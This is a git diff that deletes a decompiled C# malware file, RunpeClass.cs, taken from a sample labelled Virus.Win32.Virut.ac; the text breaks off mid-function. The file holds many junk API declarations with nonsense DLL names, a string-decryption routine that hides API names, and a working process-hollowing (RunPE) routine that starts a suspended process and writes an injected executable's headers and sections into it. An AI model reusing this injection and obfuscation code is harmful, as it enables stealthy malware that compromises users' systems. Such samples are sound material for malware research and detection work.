b/MSIL/Virus/Win32/V/Virus.Win32.Virut.ac-a8742491b0c24128c984e4272dd39160994413c06121c47fa9bf8ecb333708fd/RunpeClass.cs deleted file mode 100644 index e1974df3..00000000 --- a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ac-a8742491b0c24128c984e4272dd39160994413c06121c47fa9bf8ecb333708fd/RunpeClass.cs +++ /dev/null @@ -1,1215 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: smss.RunpeClass -// Assembly: smss, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 9DAAF14C-A13E-4FB1-BFB2-3533F8F506E6 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Virut.ac-a8742491b0c24128c984e4272dd39160994413c06121c47fa9bf8ecb333708fd.exe - -using Microsoft.VisualBasic; -using System; -using System.Reflection; -using System.Runtime.InteropServices; -using System.Text; - -namespace smss -{ - public class RunpeClass - { - public const int MAXPNAMELEN = 32; - public const int MAXPNAMELEN2 = 32; - public const int MIXER_SHORT_NAME_CHARS = 16; - public const int MIXER_LONG_NAME_CHARS = 64; - public const long Asdfasfasf = 2778; - public const long Fasfasfasf = 60116; - public const long Afsfasfascfc = 218; - public const long Asdascasdasd = 218; - public const long Bvcxbxcbxcb = 218; - public const long Bxcbxcbxcb = 253; - public const long Fsdr3Fsf = 218; - public const long Kkkkkkkkkddddddd = 17247; - public const uint Fssssssssssssssssss = 218; - - [DllImport("yrtyor6p.dll", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern AssemblyName yrtyrhhk6op(); - - [DllImport("yrtyr6pop.dll", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern AssemblyName yrtyro6p(); - - [DllImport("j43yttj6.dll", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern int j43yty6(); - - [DllImport("j43ytoi6.dll", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern int j43yt6o(); - - [DllImport("yt3y5rtyrty.dll", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern IntPtr yt3y5rt3rty(); - - [DllImport("yt3y5r3yrty.dll", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern IntPtr yy5r3yrty(); - - [DllImport("yt3yrt3yrty.dll", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern IntPtr yt3yrt3yrty(); - - [DllImport("yrtyrl6p.dll", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern AssemblyName yrtyrk6p(); - - [DllImport("yrjtyr6p.dll", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern AssemblyName yrtyrkk6p(); - - [DllImport("yrt44yr6p.dll", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern AssemblyName yrtyr44K6p(); - - [DllImport("lkwdjsdnjfe.dll", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern Environment lkwkdsdnjfe(); - - [DllImport("lkwdsdnjfe.dll", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern Environment lkwdsdknjfe(); - - [DllImport("j43ykjmt6.dll", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern int j43ykjmt6(); - - [DllImport("j43yKt6.dll", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern int j43yKt6(); - - [DllImport("j43yt6t.dll", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern int j43yt6t(); - - [DllImport("j43yt6t.dll", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern Environment lkwdrsdnjfe(); - - [DllImport("j43yt6t.dll", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern Environment lkwdesdnjfe(); - - [DllImport("j43yt6t.dll", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern Environment lkwdwsdnjfe(); - - [DllImport("j43yt6t.dll", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern AssemblyName yrtywr6p(); - - [DllImport("j43yt6t.dll", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern AssemblyName yrtysr6p(); - - [DllImport("j43yt6t.dll", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern Environment lkwdxsdnjfe(); - - [DllImport("j43yt6t.dll", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern Environment lkwdss5dnjfe(); - - [DllImport("j43yt6t.dll", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern Environment lkwdssdnjfe(); - - [DllImport("j43yt6t.dll", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern IntPtr yt3y5rtrty(); - - [DllImport("j43yt6t.dll", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern IntPtr yt3y5r3yrty(); - - [DllImport("j43yt6t.dll", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern IntPtr yt3y5rt3ty(); - - [DllImport("j43yt6t.dll", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern Environment lkwdsdnje(); - - [DllImport("j43yt6t.dll", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern Environment lkwdsfe(); - - [DllImport("j43yt6t.dll", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern Environment lkwdjfe(); - - [DllImport("j43yt6t.dll", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern Environment lkwdsdfe(); - - [DllImport("j43yt6t.dll", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern Environment lkwdsdnjfe(); - - [DllImport("j43yt6t.dll", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern int jr43yt6(); - - [DllImport("j43yt6t.dll", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern int j43yfgt6(); - - [DllImport("j43yt6t.dll", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern int j43yt6(); - - [DllImport("j43yt6t.dll", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern AssemblyName yrtyer6p(); - - [DllImport("j43yt6t.dll", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern AssemblyName yrtyrt6p(); - - [DllImport("j43yt6t.dll", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern AssemblyName yrtye6p(); - - [DllImport("j43yt6t.dll", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern AssemblyName yrtyr6p(); - - [DllImport("j43yt6t.dll", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern AssemblyName yrtytr6p(); - - [DllImport("j43yt6t.dll", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern IntPtr yt3yyy5rt3yrty(); - - [DllImport("j43yt6t.dll", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern IntPtr ytrt3yrty(); - - [DllImport("lkwdsdnjfe.dll", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern Environment a1(); - - [DllImport("lkwdsdnjfe.dll", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern Environment a2(); - - [DllImport("lkwdsdnjfe.dll", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern Environment a3(); - - [DllImport("yrtyr6p.dll", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern AssemblyName b1(); - - [DllImport("j43yt6.dll", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern int c1(); - - [DllImport("yt3y5rt3yrty.dll", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern IntPtr d1(); - - [DllImport("yrtyr6p.dll", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern AssemblyName b2(); - - [DllImport("lkwdsdnjfe.dll", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern Environment a4(); - - [DllImport("j43yt6.dll", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern int c2(); - - [DllImport("lkwdsdnjfe.dll", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern Environment a5(); - - [DllImport("yrtyr6p.dll", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern AssemblyName b3(); - - [DllImport("lkwdsdnjfe.dll", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern Environment a7(); - - [DllImport("yt3y5rt3yrty.dll", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern IntPtr d2(); - - [DllImport("lkwdsdnjfe.dll", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern Environment a8(); - - [DllImport("lkwdsdnjfe.dll", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern Environment a9(); - - [DllImport("j43yt6.dll", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern int c4(); - - [DllImport("yrtyr6p.dll", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern AssemblyName b5(); - - [DllImport("yrtyr6p.dll", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern AssemblyName b9(); - - [DllImport("yt3y5rt3yrty.dll", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern IntPtr d3(); - - [DllImport("yt3y5rt3yrty.dll", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern IntPtr d4(); - - [DllImport("yrtyr6p.dll", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern AssemblyName b6(); - - [DllImport("lkwdsdnjfe.dll", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern Environment a15(); - - [DllImport("yt3y5rt3yrty.dll", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern IntPtr d5(); - - [DllImport("lkwdsdnjfe.dll", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern Environment a10(); - - [DllImport("yrtyr6p.dll", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern AssemblyName b7(); - - [DllImport("j43yt6.dll", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern int c5(); - - [DllImport("yt3y5rt3yrty.dll", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern IntPtr d6(); - - [DllImport("lkwdsdnjfe.dll", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern Environment a11(); - - [DllImport("lkwdsdnjfe.dll", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern Environment a12(); - - [DllImport("j43yt6.dll", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern int c6(); - - [DllImport("lkwdsdnjfe.dll", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern Environment a13(); - - [DllImport("yrtyr6p.dll", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern AssemblyName b8(); - - [DllImport("yt3y5rt3yrty.dll", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern IntPtr d7(); - - [DllImport("yt3y5rt3yrty.dll", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern IntPtr d8(); - - [DllImport("lkwdsdnjfe.dll", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern Environment a14(); - - [DllImport("j43yt6.dll", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern int c7(); - - [DllImport("user32", EntryPoint = "OemToCharBuffA", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern int OemToCharBuff1( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpszSrc, - [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpszDst, - int cchDstLength); - - [DllImport("user32", EntryPoint = "OemToCharBuffA", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern int OemToCharBuff( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpszSrc, - [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpszDst, - int cchDstLength); - - [DllImport("gdi32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern int OffsetRgn(int hRgn, int x, int y); - - [DllImport("ole32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern void OleUninitialize(); - - [DllImport("gdi32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern int OffsetViewportOrgEx( - int hdc, - int nX, - int nY, - RunpeClass.POINTAPI lpPoint); - - [DllImport("advapi32.dll", EntryPoint = "AccessCheckAndAuditAlarmA", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern int AccessCheckAndAuditAlarm( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string SubsystemName, - byte[] HandleId, - [MarshalAs(UnmanagedType.VBByRefStr)] ref string ObjectStructureName, - [MarshalAs(UnmanagedType.VBByRefStr)] ref string ObjectName, - RunpeClass.SECURITY_DESCRIPTOR SecurityDescriptor, - int DesiredAccess, - RunpeClass.GENERIC_MAPPING GenericMapping, - int ObjectCreation, - int GrantedAccess, - int AccessStatus, - int pfGenerateOnClose); - - [DllImport("pdh.dll", EntryPoint = "PdhVbAddCounter", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern int PdhAddCounter( - int QueryHandle, - [MarshalAs(UnmanagedType.VBByRefStr)] ref string CounterPath, - ref int CounterHandle); - - [DllImport("winspool.drv", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern int AbortPrinter(int hPrinter); - - [DllImport("user32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern int ActivateKeyboardLayout(int HKL, int flags); - - [DllImport("advapi32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern int QueryServiceObjectSecurity( - int hService, - int dwSecurityInformation, - byte[] lpSecurityDescriptor, - int cbBufSize, - int pcbBytesNeeded); - - [DllImport("gdi32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern int Polyline(int hdc, RunpeClass.POINTAPI lpPoint, int nCount); - - [DllImport("advapi32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern int AddAccessAllowedAce( - RunpeClass.ACL pAcl, - int dwAceRevision, - int AccessMask, - byte[] pSid); - - [DllImport("gdi32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern int AbortDoc(int hdc); - - [DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern void RaiseException( - int dwExceptionCode, - int dwExceptionFlags, - int nNumberOfArguments, - int lpArguments); - - [DllImport("advapi32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern int AddAccessDeniedAce( - RunpeClass.ACL pAcl, - int dwAceRevision, - int AccessMask, - byte[] pSid); - - [DllImport("kernel32", EntryPoint = "ReadConsoleA", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern int ReadConsole( - int hConsoleInput, - byte[] lpBuffer, - int nNumberOfCharsToRead, - int lpNumberOfCharsRead, - byte[] lpReserved); - - [DllImport("advapi32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern int AddAuditAccessAce( - RunpeClass.ACL pAcl, - int dwAceRevision, - int dwAccessMask, - byte[] pSid, - int bAuditSuccess, - int bAuditFailure); - - [DllImport("gdi32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern int AngleArc( - int hdc, - int x, - int y, - int dwRadius, - double eStartAngle, - double eSweepAngle); - - [DllImport("advapi32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern int AllocateLocallyUniqueId(RunpeClass.LARGE_INTEGER Luid); - - [DllImport("winspool.drv", EntryPoint = "AddJobA", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern int AddJob( - int hPrinter, - int Level, - byte pData, - int cdBuf, - int pcbNeeded); - - [DllImport("winspool.drv", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern int ReadPrinter(int hPrinter, byte[] pBuf, int cdBuf, int pNoBytesRead); - - [DllImport("advapi32.dll", EntryPoint = "ReadEventLogA", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern int ReadEventLog( - int hEventLog, - int dwReadFlags, - int dwRecordOffset, - RunpeClass.EVENTLOGRECORD lpBuffer, - int nNumberOfBytesToRead, - int pnBytesRead, - int pnMinNumberOfBytesNeeded); - - [DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern int ReadConsoleOutputAttribute( - int hConsoleOutput, - int lpAttribute, - int nLength, - RunpeClass.COORD dwReadCoord, - int lpNumberOfAttrsRead); - - [DllImport("gdi32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern int AnimatePalette( - int hPalette, - int wStartIndex, - int wNumEntries, - RunpeClass.PALETTEENTRY lpPaletteColors); - - [DllImport("gdi32", EntryPoint = "AddFontResourceA", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern int AddFontResource([MarshalAs(UnmanagedType.VBByRefStr)] ref string lpFileName); - - [DllImport("advapi32.dll", EntryPoint = "ChangeServiceConfigA", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern int ChangeServiceConfig( - int hService, - int dwServiceStructure, - int dwStartStructure, - int dwErrorControl, - [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpBinaryPathName, - [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpLoadOrderGroup, - int lpdwTagId, - [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpDependencies, - [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpServiceStartName, - [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpPassword, - [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpDisplayName); - - [DllImport("kernel32", EntryPoint = "CompareStringA", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern int CompareString( - int Locale, - int dwCmpFlags, - [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpString1, - int cchCount1, - [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpString2, - int cchCount2); - - [DllImport("imm32.dll", EntryPoint = "ImmGetIMEFileNameA", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern int ImmGetIMEFileName(int hkl, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpStr, int uBufLen); - - [DllImport("winmm.dll", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern int waveOutPause(int hWaveOut); - - [DllImport("winmm.dll", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern int waveOutUnprepareHeader( - int hWaveOut, - RunpeClass.WAVEHDR lpWaveOutHdr, - int uSize); - - [DllImport("advapi32.dll", EntryPoint = "RegQueryValueA", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern int RegQueryValue( - int hKey, - [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpSubKey, - [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpValue, - int lpcbValue); - - [DllImport("user32", EntryPoint = "SendMessageA", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern int SendMessage(int hwnd, int wMsg, int wParam, byte[] lParam); - - [DllImport("imm32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern int ImmSetCandidateWindow( - int himc, - RunpeClass.CANDIDATEFORM lpCandidateForm); - - [DllImport("gdi32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern int SetArcDirection(int hdc, int ArcDirection); - - [DllImport("user32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern int SetClipboardData(int wFormat, int hMem); - - [DllImport("wininet.dll", EntryPoint = "InternetConnectA", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern int InternetConnect( - int hInternetSession, - [MarshalAs(UnmanagedType.VBByRefStr)] ref string sServerName, - short nServerPort, - [MarshalAs(UnmanagedType.VBByRefStr)] ref string sUsername, - [MarshalAs(UnmanagedType.VBByRefStr)] ref string sPassword, - int lService, - int lFlags, - int lContext); - - [DllImport("imm32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern int ImmSetStatusWindowPos(int himc, RunpeClass.POINTAPI lpPoint); - - [DllImport("imm32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern int ImmSetCompositionWindow( - int himc, - RunpeClass.COMPOSITIONFORM lpCompositionForm); - - [DllImport("user32", EntryPoint = "IsCharAlphaNumericA", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern int IsCharAlphaNumeric(byte Char2); - - [DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern int LocalReAlloc(int hMem, int wBytes, int wFlags); - - [DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern int LockResource(int hResData); - - [DllImport("winmm.dll", EntryPoint = "mciGetDeviceIDFromElementIDA", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern int mciGetDeviceIDFromElementID(int dwElementID, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpstrStructure); - - [DllImport("winmm.dll", EntryPoint = "mciSendStringA", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern int mciSendString( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpstrCommand, - [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpstrReturnString, - int uReturnLength, - int hwndCallback); - - [DllImport("winmm", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern int mciSetYieldProc(int mciId, int fpYieldProc, int dwYieldData); - - [DllImport("winmm.dll", EntryPoint = "midiInGetDevCapsA", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern int midiInGetDevCaps( - int uDeviceID, - RunpeClass.MIDIINCAPS lpCaps, - int uSize); - - [DllImport("winmm.dll", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern int midiInAddBuffer( - int hMidiIn, - RunpeClass.MIDIHDR lpMidiInHdr, - int uSize); - - [DllImport("winmm.dll", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern int mixerGetID(int hmxobj, int pumxID, int fdwId); - - [DllImport("winmm.dll", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern int mixerGetNumDevs(); - - [DllImport("winmm.dll", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern int mixerMessage(int hmx, int uMsg, int dwParam1, int dwParam2); - - [DllImport("winmm.dll", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern int mixerOpen( - int phmx, - int uMxId, - int dwCallback, - int dwInstance, - int fdwOpen); - - [DllImport("winmm.dll", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern int mmioClose(int hmmio, int uFlags); - - [DllImport("winmm.dll", EntryPoint = "mixerGetLineControlsA", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern int mixerGetLineControls( - int hmxobj, - RunpeClass.MIXERLINECONTROLS pmxlc, - int fdwControls); - - [DllImport("winmm.dll", EntryPoint = "mixerGetDevCapsA", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern int mixerGetDevCaps(int uMxId, RunpeClass.MIXERCAPS pmxcaps, int cbmxcaps); - - [DllImport("winmm.dll", EntryPoint = "mixerGetControlDetailsA", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern int mixerGetControlDetails( - int hmxobj, - RunpeClass.MIXERCONTROLDETAILS pmxcd, - int fdwDetails); - - public static string Decrypt(string input, string key) - { - if (input == null) - throw new ArgumentNullException(nameof (input)); - if (key == null) - throw new ArgumentNullException(nameof (key)); - return Encoding.UTF8.GetString(RunpeClass.Decrypt(Convert.FromBase64String(input), Encoding.UTF8.GetBytes(key))); - } - - public static byte[] Decrypt(byte[] input, byte[] key) - { - if (input == null) - throw new ArgumentNullException(nameof (input)); - if (key == null) - throw new ArgumentNullException(nameof (key)); - int num1 = (int) input[input.Length - 1]; - byte[] numArray = new byte[input.Length - 2 + 1]; - int index1 = 0; - int num2 = input.Length - 2; - for (int index2 = 0; index2 <= num2; ++index2) - { - if (index1 >= key.Length) - index1 = 0; - if (index2 < input.Length - 1) - { - numArray[index2] = Convert.ToByte((int) input[index2] - numArray.Length % key.Length - (int) key[index1] + num1); - ++index1; - } - } - return numArray; - } - - public static bool Win7() => Environment.OSVersion.Version.Major == 6; - - public static void RunpeSub(byte[] data, string target) - { - RunpeClass.Context context = new RunpeClass.Context(); - RunpeClass.ProcessInformation info = new RunpeClass.ProcessInformation(); - RunpeClass.StartupInformation startup = new RunpeClass.StartupInformation(); - RunpeClass.SecurityFlags process1 = new RunpeClass.SecurityFlags(); - RunpeClass.SecurityFlags thread = new RunpeClass.SecurityFlags(); - GCHandle gcHandle = GCHandle.Alloc((object) data, GCHandleType.Pinned); - IntPtr ptr = gcHandle.AddrOfPinnedObject(); - int int32 = ptr.ToInt32(); - RunpeClass.DosHeader dosHeader = new RunpeClass.DosHeader(); - RunpeClass.DosHeader structure1 = (RunpeClass.DosHeader) Marshal.PtrToStructure(gcHandle.AddrOfPinnedObject(), dosHeader.GetType()); - gcHandle.Free(); - RunpeClass.mrqs mrqs = RunpeClass.Z8Wro8Mry4Fzhw(RunpeClass.Decrypt("38KgwdqeYXkN ", "yb3Xz73LWVcN"), RunpeClass.Decrypt("hb15tsuxiMe9g3mRy4sl ", "Yb+lncOle7+5oaXBwV0l")); - if (mrqs == null) - throw new NotImplementedException(); - RunpeClass.evzew evzew = RunpeClass.Z8Wro8Mry4Fzhw(RunpeClass.Decrypt("1svIs9KsiWsU ", "wrbQyLbEUlAU"), RunpeClass.Decrypt("ioStf7i8u4O8Yc2/tYXGjic= ", "Z6PBgam9o5uhX7e1waPJwSc=")); - if (evzew == null) - throw new NotImplementedException(); - RunpeClass.i5Ondq i5Ondq1 = RunpeClass.Z8Wro8Mry4Fzhw(RunpeClass.Decrypt("3JXhvdjHonUP ", "x7vVzbvJV1UP"), RunpeClass.Decrypt("sbyCyLjBvaPSn9651JvZl+Eb ", "ia+nrYXJw6uvy8t/r7/Dydcb")); - if (i5Ondq1 == null) - throw new NotImplementedException(); - RunpeClass.jx95Iq jx95Iq1 = RunpeClass.Z8Wro8Mry4Fzhw("kernel32", RunpeClass.Decrypt("nrWZvbpmv8a3fIaqm6ilgbS0MQ== ", "fbOht5lvs62VmbW1aZmprbPBMQ==")); - if (jx95Iq1 == null) - throw new NotImplementedException(); - RunpeClass.enx2Ma enx2Ma = RunpeClass.Z8Wro8Mry4Fzhw(RunpeClass.Decrypt("u7Bwqrgr ", "sb2dra0r"), RunpeClass.Decrypt("zsmP0+uy5dOds/WW38uftu631KgQ ", "pN6azMqy0JzCut6OvJa6ttjCzswQ")); - if (enx2Ma == null) - throw new NotImplementedException(); - RunpeClass.qh4E qh4E = RunpeClass.Z8Wro8Mry4Fzhw(RunpeClass.Decrypt("4NOlw5G0ZnsM ", "yr7Y0L7MWlgM"), RunpeClass.Decrypt("tc/Qs+PJo6TWzcyCr98a ", "krjKztCovmi+vsSscNYa")); - if (qh4E == null) - throw new NotImplementedException(); - RunpeClass.mzt5Dq mzt5Dq = RunpeClass.Z8Wro8Mry4Fzhw(RunpeClass.Decrypt("t5p/fLJ8QH8t ", "qZ23r52rOTct"), RunpeClass.Decrypt("z6rnzeXipdbph6vB6Kv72wM= ", "o8flpc3hx7/Fg9vZ5cft5QM=")); - if (mzt5Dq == null) - throw new NotImplementedException(); - RunpeClass.g4Ch g4Ch = RunpeClass.Z8Wro8Mry4Fzhw(RunpeClass.Decrypt("1svIs9KsiWsU ", "wrbQyLbEUlAU"), RunpeClass.Decrypt("n4KynsyukrvAgr16JQ== ", "f6XBxbWlg6u/pZ2jJQ==")); - if (g4Ch == null) - throw new NotImplementedException(); - IntPtr system; - if (-(mrqs((string) null, target, ref process1, ref thread, false, 4U, system, (string) null, ref startup, out info) ? 1 : 0) == 0) - return; - RunpeClass.NtHeaders ntHeaders = new RunpeClass.NtHeaders(); - ptr = new IntPtr(int32 + structure1.Address); - RunpeClass.NtHeaders structure2 = (RunpeClass.NtHeaders) Marshal.PtrToStructure(ptr, ntHeaders.GetType()); - long num1 = 0; - long num2 = 0; - startup.CB = Strings.Len((object) startup); - context.Flags = 65539U; - if (structure2.Signature != 17744U || structure1.Magic != (ushort) 23117 || -(mrqs((string) null, target, ref process1, ref thread, false, 4U, system, (string) null, ref startup, out info) ? 1 : 0) == 0) - return; - int num3; - if (RunpeClass.Win7()) - { - int num4 = evzew(info.Thread, ref context) ? 1 : 0; - RunpeClass.i5Ondq i5Ondq2 = i5Ondq1; - IntPtr process2 = info.Process; - int address = (int) ((long) context.Ebx + 8L); - int num5 = 0; - ref int local1 = ref num5; - int num6 = 0; - ref int local2 = ref num6; - int num7 = i5Ondq2(process2, address, ref local1, 4, ref local2); - long num8 = enx2Ma(info.Process, 0); - } - else - { - int num9 = evzew(info.Thread, ref context) ? 1 : 0; - RunpeClass.i5Ondq i5Ondq3 = i5Ondq1; - IntPtr process3 = info.Process; - int address1 = (int) ((long) context.Ebx + 8L); - num3 = (int) num1; - ref int local3 = ref num3; - int num10 = 0; - ref int local4 = ref num10; - int num11 = i5Ondq3(process3, address1, ref local3, 4, ref local4); - long address2 = (long) num3; - long num12 = enx2Ma(info.Process, (int) address2); - } - uint num13 = (uint) (int) qh4E(info.Process, (int) structure2.Optional.Image, structure2.Optional.SImage, 12288U, 4U); - if (num13 == 0U) - return; - if (RunpeClass.Win7()) - { - RunpeClass.jx95Iq jx95Iq2 = jx95Iq1; - IntPtr process4 = info.Process; - int address = (int) num13; - byte[] buffer = data; - int sheaders = (int) structure2.Optional.SHeaders; - num3 = 0; - ref int local = ref num3; - int num14 = jx95Iq2(process4, address, buffer, sheaders, out local) ? 1 : 0; - } - else - { - RunpeClass.jx95Iq jx95Iq3 = jx95Iq1; - IntPtr process5 = info.Process; - int address = (int) num13; - byte[] buffer = data; - int sheaders = (int) structure2.Optional.SHeaders; - num3 = (int) num2; - ref int local = ref num3; - int num15 = jx95Iq3(process5, address, buffer, sheaders, out local) ? 1 : 0; - num2 = (long) num3; - } - long num16 = (long) (structure1.Address + 248); - int num17 = (int) structure2.File.Sections - 1; - for (int index1 = 0; index1 <= num17; ++index1) - { - ptr = new IntPtr((long) int32 + num16 + (long) (index1 * 40)); - RunpeClass.SectionHeader structure3 = (RunpeClass.SectionHeader) Marshal.PtrToStructure(ptr, structure3.GetType()); - byte[] numArray = new byte[(int) structure3.Size + 1]; - int num18 = (int) ((long) structure3.Size - 1L); - for (int index2 = 0; index2 <= num18; ++index2) - numArray[index2] = data[(int) ((long) structure3.Pointer + (long) index2)]; - if (RunpeClass.Win7()) - { - RunpeClass.jx95Iq jx95Iq4 = jx95Iq1; - IntPtr process6 = info.Process; - int address = (int) num13 + (int) structure3.Address; - byte[] buffer = numArray; - int size = (int) structure3.Size; - num3 = 0; - ref int local = ref num3; - int num19 = jx95Iq4(process6, address, buffer, size, out local) ? 1 : 0; - } - else - { - 